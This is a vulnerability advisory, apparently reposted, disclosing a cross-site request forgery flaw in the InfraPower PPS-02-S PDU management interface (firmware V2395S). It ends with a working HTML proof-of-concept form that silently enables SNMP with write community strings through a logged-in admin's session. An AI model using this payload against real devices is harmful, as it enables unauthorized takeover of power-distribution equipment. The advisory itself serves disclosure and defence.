InfraPower PPS-02-S Q213V1 Cross Site Request Forgery
Posted on 31 October 2016
InfraPower PPS-02-S Q213V1 Cross-Site Request Forgery Vendor: Austin Hughes Electronics Ltd. Product web page: http://www.austin-hughes.com Affected version: Q213V1 (Firmware: V2395S) Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is a highly efficient cient application for saving not only the IP remote accessories cost, but also the true IP addresses required on the PDU management. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with admin privileges if a logged-in user visits a malicious web site. Tested on: Linux 2.6.28 (armv5tel) lighttpd/1.4.30-devel-1321 PHP/5.3.9 SQLite/3.7.10 Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5375 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5375.php 27.09.2016 -- PoC: <html> <body> <form action="http://192.168.0.17/SNMP.php?Menu=SMP" method="POST"> <input type="hidden" name="SNMPAgent" value="Enable" /> <input type="hidden" name="CommuintyString" value="public" /> <input type="hidden" name="CommuintyWrite" value="private" /> <input type="hidden" name="TrapsVersion" value="v2Trap" /> <input type="hidden" name="IP" value="192.168.0.254" /> <input type="submit" value="Submit request" /> </form> </body> </html>
